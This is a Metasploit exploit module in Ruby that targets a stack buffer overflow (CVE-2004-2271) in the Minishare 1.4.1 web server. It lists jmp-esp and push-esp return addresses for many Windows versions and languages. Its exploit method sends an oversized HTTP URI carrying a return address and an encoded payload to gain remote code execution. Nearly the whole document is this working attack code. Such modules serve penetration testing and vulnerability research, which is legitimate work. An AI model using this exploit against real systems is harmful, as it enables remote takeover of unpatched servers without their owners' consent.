Minishare 1.4.1 Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Minishare 1.4.1 Buffer Overflow',
      'Description'    => %q{
          This is a simple buffer overflow for the minishare web
        server. This flaw affects all versions prior to 1.4.2. This
        is a plain stack buffer overflow that requires a "jmp esp" to reach
        the payload, making this difficult to target many platforms
        at once. This module has been successfully tested against
        1.4.1. Version 1.3.4 and below do not seem to be vulnerable.
      },
      'Author'         => [ 'acaro <acaro[at]jervus.it>' ],
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2004-2271'],
          [ 'OSVDB', '11530'],
          [ 'BID', '11620'],
          [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2004-11/0208.html'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",
          'MinNops'  => 64,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows 2000 SP0-SP3 English', { 'Rets' => [ 1787, 0x7754a3ab ]}], # jmp esp
          ['Windows 2000 SP4 English',     { 'Rets' => [ 1787, 0x7517f163 ]}], # jmp esp
          ['Windows XP SP0-SP1 English',   { 'Rets' => [ 1787, 0x71ab1d54 ]}], # push esp, ret
          ['Windows XP SP2 English',       { 'Rets' => [ 1787, 0x71ab9372 ]}], # push esp, ret
          ['Windows 2003 SP0 English',     { 'Rets' => [ 1787, 0x71c03c4d ]}], # push esp, ret
          ['Windows 2003 SP1 English',     { 'Rets' => [ 1787, 0x77403680 ]}], # jmp esp
          ['Windows 2003 SP2 English',     { 'Rets' => [ 1787, 0x77402680 ]}], # jmp esp
          ['Windows NT 4.0 SP6',           { 'Rets' => [ 1787, 0x77f329f8 ]}], # jmp esp
          ['Windows XP SP2 German',        { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
          ['Windows XP SP2 Polish',        { 'Rets' => [ 1787, 0x77d4e26e ]}], # jmp esp
          ['Windows XP SP2 French',        { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
          ['Windows XP SP3 French',        { 'Rets' => [ 1787, 0x7e3a9353 ]}], # jmp esp
        ],
      'DefaultOptions' =>
        {
          'WfsDelay' => 30
        },
      'DisclosureDate' => '2004-11-07'))
  end

  def exploit
    uri = rand_text_alphanumeric(target['Rets'][0])
    uri << [target['Rets'][1]].pack('V')
    uri << payload.encoded

    print_status("Trying target address 0x%.8x..." % target['Rets'][1])
    send_request_raw({
      'uri' => uri
    }, 5)

    handler
  end
end